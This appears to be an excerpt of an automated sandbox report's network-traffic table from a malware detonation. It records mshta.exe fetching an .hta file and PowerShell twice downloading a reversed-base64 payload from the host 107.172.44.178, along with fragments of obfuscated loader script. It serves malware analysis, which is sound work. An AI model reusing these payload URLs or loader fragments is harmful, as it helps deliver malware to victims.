Nov 18, 2024 18:21:43.834064007 CET	1236	IN	Data Raw: 00 59 00 57 00 35 00 6b 00 51 00 6e 00 6c 00 30 00 5a 00 58 00 4d 00 70 00 4f 00 33 00 4e 00 6c 00 57 00 58 00 5a 00 68 00 61 00 55 00 31 00 6c 00 64 00 47 00 68 00 76 00 5a 00 43 00 41 00 39 00 49 00 46 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 Data Ascii: YW5kQnl0ZXMpO3NlWXZhaU1ldGhvZCA9IFKXNVFCRPJSLUQMDsnKydkbmxpYi5JTy5Ib21lXS5HZXRNZXRob2QoUHVJVkFJUHVJKTtzZVl2YWlNZScrJ3Rob2
Nov 18, 2024 18:21:43.834634066 CET	272	IN	Data Raw: 00 47 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c 00 55 00 51 00 4d 00 44 00 39 00 51 00 64 00 55 00 6b 00 73 00 55 00 48 00 56 00 4a 00 5a 00 47 00 56 00 7a 00 59 00 58 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a Data Ascii: GKXNVFCRPJSLUQMD9QdUksUHVJZGVzYXKXNVFCRPJSLUQMDRpdmFkb1B1SSxQdUlkZXNhdGl2YWRvUHVJLFB1STFQdUksUHVJZGVzYXRpdmFkb1B1SSkpOycp
Nov 18, 2024 18:21:43.834670067 CET	1236	IN	Data Raw: 00 55 00 51 00 4d 00 44 00 55 00 47 00 78 00 68 00 51 00 30 00 55 00 6f 00 4a 00 31 00 42 00 31 00 53 00 53 00 63 00 73 00 57 00 31 00 4e 00 30 00 63 00 6b 00 6c 00 75 00 52 00 31 00 31 00 62 00 51 00 30 00 68 00 42 00 55 00 6c 00 4b 00 58 00 4e Data Ascii: UQMDUGxhQ0UoJ1B1SScsW1N0ckluR11bQ0hBUlKXNVFCRPJSLUQMD0zOSkuckVQbGFDRSgnMnBPJywnfCcpLnJFUGxhQ0UoJ3NlWScsJyQnKXwgLiAoKGdWIC
Nov 18, 2024 18:21:43.834705114 CET	1236	IN	Data Raw: 00 55 00 51 00 4d 00 44 00 24 00 4f 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c 00 55 00 51 00 4d 00 44 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 6a 00 75 00 67 00 61 00 72 00 20 00 3d Data Ascii: UQMD$OKXNVFCRPJSLUQMD" enjugar = enjugar & "WKXNVFCRPJSLUQMDj" enjugar = enjugar & "KXNVFCRPJSLUQMDuxKX
Nov 18, 2024 18:21:43.834743023 CET	1236	IN	Data Raw: 00 6a 00 75 00 67 00 61 00 72 00 20 00 26 00 20 00 22 00 3a 00 55 00 54 00 4b 00 58 00 4e 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c 00 55 00 51 00 4d 00 44 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 6a Data Ascii: jugar & ":UTKXNVFCRPJSLUQMD" enjugar = enjugar & "F8KXNVFCRPJSLUQMD." enjugar = enjugar & "GeKXNVFCRPJS
Nov 18, 2024 18:21:43.838682890 CET	1236	IN	Data Raw: 00 56 00 46 00 43 00 52 00 50 00 4a 00 53 00 4c 00 55 00 51 00 4d 00 44 00 53 00 74 00 22 00 0d 00 0a 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 20 00 65 00 6e 00 6a 00 75 00 67 00 61 00 72 00 20 00 3d 00 20 00 65 00 6e 00 6a 00 75 00 67 00 61 Data Ascii: VFCRPJSLUQMDSt" enjugar = enjugar & "rKXNVFCRPJSLUQMDingKXNVFCRPJSLUQMD($" enjugar = enjugar & "cKXNVFC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.22	49171	107.172.44.178	80	1264	C:\Windows\System32\mshta.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:21:58.813628912 CET	510	OUT	GET /53/cg/bestthingsalwaysgetbesrentirelifethingstogdomybetterthignswithgreat.hta HTTP/1.1 Accept: / Accept-Language: en-US UA-CPU: AMD64 Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) If-Modified-Since: Mon, 18 Nov 2024 01:50:06 GMT Connection: Keep-Alive Host: 107.172.44.178 If-None-Match: "2c929-6272622c7ca10"
Nov 18, 2024 18:21:59.492672920 CET	275	IN	HTTP/1.1 304 Not Modified Date: Mon, 18 Nov 2024 17:21:59 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:50:06 GMT ETag: "2c929-6272622c7ca10" Accept-Ranges: bytes Keep-Alive: timeout=5, max=100 Connection: Keep-Alive

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.22	49172	107.172.44.178	80	2104	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:22:16.099082947 CET	78	OUT	GET /53/WRFFRGT.txt HTTP/1.1 Host: 107.172.44.178 Connection: Keep-Alive
Nov 18, 2024 18:22:16.764638901 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 17:22:16 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:44:05 GMT ETag: "c558-627260d4938d1" Accept-Ranges: bytes Content-Length: 50520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.764700890 CET	224	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.764936924 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.764986038 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.764997959 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.765120029 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.765131950 CET	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.766000986 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.766012907 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.766025066 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:16.769748926 CET	1236	IN	Data Raw: 6a 62 5a 5a 64 4d 62 6c 37 41 57 51 64 77 53 4c 6a 30 42 75 56 6b 70 6c 6c 38 5a 46 73 4d 79 61 62 30 36 59 72 4d 34 4b 69 57 51 48 77 55 32 4b 32 35 51 4a 4e 30 56 4c 46 47 30 53 6b 48 62 4a 6a 4e 78 57 56 4e 2b 55 62 43 52 5a 33 44 30 32 71 5a Data Ascii: jbZZdMbl7AWQdwSLj0BuVkpll8ZFsMyab06YrM4KiWQHwU2K25QJN0VLFG0SkHbJjNxWVN+UbCRZ3D02qZ108LzPpQZbLUCHlMBOt2lynKxVufSLRGxuTWNFfK1YlKywbvtIRcKVbsCgU0j5aVAPpNkjnFRTQslVjD1GB7lS1IgHF4ILNSbZRUlEs0GXO0JFEtS2UAKEvbxYn4OACWROSUAFRLRLTkdFlIRoWlxX3UWQhPWGFNm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.22	49174	107.172.44.178	80	3836	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Nov 18, 2024 18:22:36.808487892 CET	78	OUT	GET /53/WRFFRGT.txt HTTP/1.1 Host: 107.172.44.178 Connection: Keep-Alive
Nov 18, 2024 18:22:37.493957996 CET	1236	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 17:22:37 GMT Server: Apache/2.4.58 (Win64) OpenSSL/3.1.3 PHP/8.0.30 Last-Modified: Mon, 18 Nov 2024 01:44:05 GMT ETag: "c558-627260d4938d1" Accept-Ranges: bytes Content-Length: 50520 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/plain Data Raw: 3d 3d 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 [TRUNCATED] Data Ascii: ==AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.493993998 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494014978 CET	424	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494033098 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494057894 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494115114 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494131088 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494158983 CET	848	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Nov 18, 2024 18:22:37.494177103 CET	1236	IN	Data Raw: 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 Data Ascii: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
